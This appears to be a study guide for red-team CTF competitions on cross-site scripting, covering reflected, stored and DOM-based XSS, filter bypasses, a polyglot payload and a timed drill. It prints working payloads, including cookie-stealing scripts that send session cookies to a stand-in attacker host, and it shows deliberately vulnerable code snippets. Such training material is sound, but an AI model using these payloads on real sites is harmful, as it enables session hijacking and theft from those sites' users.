Cross-Site Scripting (XSS)

Scope

What this is: Injecting malicious JavaScript into web pages viewed by other users.

Competition relevance: Offensive operations (red team CTF). Common web vulnerability alongside SQLi.

Why it matters: XSS leads to session hijacking, phishing, and defacement. High-value flags in CTF modules.

WSOS 2026 alignment: This topic directly supports Section 6: Operations and management (exploiting web application vulnerabilities).

Competition area: Core to the offensive operations area, where you identify and exploit XSS vulnerabilities in web applications to demonstrate security weaknesses.

Offline competence: XSS testing requires no special tools beyond a web browser. Use browser DevTools (F12, always available offline) to inspect payloads and responses. Burp Suite Community Edition works offline for intercepting requests. Maintain an offline XSS payload list for filter bypass techniques.

---

Competency Matrix

Level	Expectation
Regional	Identify reflected XSS in search boxes. Basic <script>alert(1)</script> payloads.
National	Stored XSS exploitation. Filter bypass techniques. Cookie stealing.
Squad/Team Selection	DOM-based XSS. CSP bypass. Advanced encoding.
International	Blind XSS. XSS in unusual contexts (XML, JSON). Polyglot payloads.

---

Technical Content

Reflected XSS

What it is: Payload reflected immediately in response. Not stored server-side.

Example vulnerability:

// Vulnerable code
$search = $_GET['q'];
echo "Search results for: $search";

Basic payload:

<script>alert('XSS')</script>

Testing:

http://example.com/search?q=<script>alert(1)</script>

Competition context: Look for input reflected in HTML without encoding. Common in search boxes, error messages, and URL parameters.

---

Stored XSS

What it is: Payload stored in database and executed when page is viewed by other users.

Example: Comment system that doesn’t sanitize input.

Payload:

<script>
document.location='http://attacker.com/steal.php?c='+document.cookie;
</script>

Impact: Affects all users who view the page. Higher severity than reflected XSS.

Competition context: Test all input fields (comments, profiles, contact forms). If stored unsafely, payload executes for all viewers.

---

DOM-Based XSS

What it is: Vulnerability in client-side JavaScript, not server response.

Example vulnerable code:

// Vulnerable
let name = window.location.hash.substring(1);
document.getElementById('welcome').innerHTML = "Welcome, " + name;

Exploitation:

http://example.com/#<img src=x onerror=alert(1)>

Competition context: Requires code review of JavaScript. Look for innerHTML, eval(), document.write() with user input.

---

Filter Bypass Techniques

HTML encoding bypass:

<img src=x onerror=&#97;lert(1)>

Event handlers:

<img src=x onerror=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>

JavaScript protocol:

<a href="javascript:alert(1)">Click</a>
<iframe src="javascript:alert(1)">

Polyglot payloads:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

---

Cookie Stealing

Payload:

<script>
new Image().src="http://attacker.com/steal?c="+document.cookie;
</script>

Or using fetch:

<script>
fetch('http://attacker.com/steal?c='+document.cookie);
</script>

Competition context: After stealing cookie, use it to hijack session. Look for session tokens in cookies.

---

Competition Strategy & Marking

What gets marked:

• XSS vulnerability identified (location, parameter, and type: reflected/stored/DOM)
• Successful payload execution (screenshot of alert box or cookie theft)
• Cookie/session data extracted (if applicable)
• Write-up explaining impact and attack vector

Evidence and reporting requirements:

• Screenshot showing payload execution (alert box, cookie display, or redirected page)
• Full URL or POST data containing the payload
• Browser DevTools screenshot showing injected JavaScript in DOM
• Explanation of vulnerability type (reflected/stored/DOM-based)
• For stored XSS: screenshot showing payload persists across sessions
• For cookie theft: screenshot of stolen cookie value
• Written description of attack scenario and business impact
• Clear naming: xss_reflected_search_param.png, xss_stored_comment_field.png

Time allocation:

• Finding XSS: 10-15 minutes
• Testing payloads: 10 minutes
• Exploitation and documentation: 10 minutes

Time-boxed drill suggestion: 35-minute XSS exploitation sprint: Given a web application, test all input fields (search, comments, profile fields) for reflected and stored XSS, bypass any filters using encoding or alternative syntax, demonstrate successful JavaScript execution with alert(), steal session cookies using document.cookie, and document all findings with screenshots showing payload execution and extracted data.

---

False Flags / Wrong Paths

Common Traps

Client-side filters only If JavaScript validates input but server doesn’t, bypass client-side validation.

CSP blocking payloads Content Security Policy may block inline scripts. Try alternative vectors.

Output context matters <script> tags don’t work inside <textarea>. Adapt payload to context.

---

Practice Checklist

• Can identify reflected XSS in search boxes
• Can identify stored XSS in comment systems
• Can exploit DOM-based XSS
• Can bypass basic filters (script tag blacklist)
• Can steal cookies using XSS
• Understand XSS context (HTML, JavaScript, CSS)
• Complete XSS challenge in under 20 minutes

---

References

• National Roadmap: Offensive operations
• Defensive perspective: XSS Prevention